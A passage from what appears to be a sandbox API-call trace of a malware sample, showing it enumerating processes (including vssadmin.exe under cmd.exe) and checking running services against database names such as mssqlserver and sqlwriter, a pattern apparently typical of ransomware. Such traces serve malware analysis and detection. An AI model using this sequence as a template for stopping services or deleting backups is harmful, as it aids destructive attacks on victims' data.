cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0217.596] lstrlenW (lpString="prep.exe") returned 8 [0217.596] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0217.597] lstrlenW (lpString="homeless.exe") returned 12 [0217.597] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0217.598] lstrlenW (lpString="tips.exe") returned 8 [0217.598] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0217.598] lstrlenW (lpString="rhode_cow.exe") returned 13 [0217.598] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0217.599] lstrlenW (lpString="discount.exe") returned 12 [0217.599] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0217.600] lstrlenW (lpString="littleclosest.exe") returned 17 [0217.600] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0217.600] lstrlenW (lpString="compact.exe") returned 11 [0217.600] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0217.601] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0217.601] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0217.602] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0217.602] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0217.603] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0217.603] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0217.603] lstrlenW (lpString="vincentkills.exe") returned 16 [0217.603] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0217.604] lstrlenW (lpString="armstrong.exe") returned 13 [0217.604] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0217.605] lstrlenW (lpString="superb_guilty.exe") returned 17 [0217.605] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0217.606] lstrlenW (lpString="conditional employer.exe") returned 24 [0217.606] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0217.606] lstrlenW (lpString="middle shown.exe") returned 16 [0217.606] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0217.607] lstrlenW (lpString="forced_online.exe") returned 17 [0217.607] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0217.608] lstrlenW (lpString="knitting.exe") returned 12 [0217.608] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0217.608] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0217.609] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0217.609] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0217.609] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0217.610] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0217.610] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.611] lstrlenW (lpString="svchost.exe") returned 11 [0217.611] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0217.612] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0217.612] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.613] lstrlenW (lpString="conhost.exe") returned 11 [0217.613] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0217.613] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0217.613] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.614] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.614] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0217.615] lstrlenW (lpString="WMIADAP.exe") returned 11 [0217.616] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0217.616] lstrlenW (lpString="11.exe") returned 6 [0217.617] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.618] lstrlenW (lpString="cmd.exe") returned 7 [0217.618] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.618] lstrlenW (lpString="conhost.exe") returned 11 [0217.618] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0217.619] lstrlenW (lpString="vssadmin.exe") returned 12 [0217.619] Process32NextW (in: hSnapshot=0x37c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0217.620] CloseHandle (hObject=0x37c) returned 1 [0217.620] Sleep (dwMilliseconds=0x1f4) [0218.124] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8899a8 [0218.124] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0218.124] GetLastError () returned 0xea [0218.124] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0218.125] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0218.125] CloseServiceHandle (hSCObject=0x8899a8) returned 1 [0218.125] lstrlenW (lpString="Appinfo") returned 7 [0218.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0218.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0218.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0218.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0218.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0218.126] lstrlenW (lpString="AppXSvc") returned 7 [0218.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0218.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0218.126] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0218.126] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0218.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0218.126] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0218.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.126] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0218.126] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0218.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0218.126] lstrlenW (lpString="Audiosrv") returned 8 [0218.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0218.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0218.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0218.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0218.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0218.126] lstrlenW (lpString="BFE") returned 3 [0218.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0218.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0218.126] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0218.126] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0218.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0218.126] lstrlenW (lpString="BITS") returned 4 [0218.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0218.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0218.126] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0218.126] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0218.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0218.127] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0218.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0218.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0218.127] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0218.127] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0218.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0218.127] lstrlenW (lpString="CDPSvc") returned 6 [0218.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0218.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0218.127] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0218.127] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0218.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0218.127] lstrlenW (lpString="ClickToRunSvc") returned 13 [0218.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0218.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0218.127] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0218.127] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0218.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0218.127] lstrlenW (lpString="ClipSVC") returned 7 [0218.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0218.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0218.127] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0218.127] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0218.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0218.127] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0218.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0218.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0218.127] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0218.127] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0218.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0218.127] lstrlenW (lpString="CryptSvc") returned 8 [0218.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0218.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0218.127] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0218.127] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0218.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0218.128] lstrlenW (lpString="DcomLaunch") returned 10 [0218.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0218.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0218.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0218.128] lstrlenW (lpString="Dhcp") returned 4 [0218.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0218.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0218.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0218.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0218.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0218.128] lstrlenW (lpString="Dnscache") returned 8 [0218.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0218.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0218.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0218.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0218.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0218.128] lstrlenW (lpString="DoSvc") returned 5 [0218.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0218.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0218.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0218.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0218.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0218.128] lstrlenW (lpString="DPS") returned 3 [0218.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0218.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0218.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0218.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0218.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0218.128] lstrlenW (lpString="DusmSvc") returned 7 [0218.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0218.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0218.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0218.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0218.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0218.129] lstrlenW (lpString="EventLog") returned 8 [0218.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0218.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0218.129] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0218.129] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0218.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0218.129] lstrlenW (lpString="EventSystem") returned 11 [0218.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0218.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0218.129] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0218.129] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0218.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0218.129] lstrlenW (lpString="FontCache") returned 9 [0218.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0218.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0218.129] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0218.129] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0218.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0218.129] lstrlenW (lpString="gpsvc") returned 5 [0218.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0218.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0218.129] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0218.129] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0218.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0218.129] lstrlenW (lpString="iphlpsvc") returned 8 [0218.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.129] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0218.129] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0218.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0218.129] lstrlenW (lpString="KeyIso") returned 6 [0218.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0218.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0218.129] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0218.129] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0218.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0218.130] lstrlenW (lpString="LanmanServer") returned 12 [0218.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0218.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0218.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0218.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0218.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0218.130] lstrlenW (lpString="LanmanWorkstation") returned 17 [0218.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0218.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0218.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0218.130] lstrlenW (lpString="lfsvc") returned 5 [0218.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0218.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0218.130] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0218.130] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0218.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0218.130] lstrlenW (lpString="LicenseManager") returned 14 [0218.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0218.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0218.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0218.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0218.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0218.130] lstrlenW (lpString="lmhosts") returned 7 [0218.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0218.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0218.130] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0218.130] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0218.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0218.130] lstrlenW 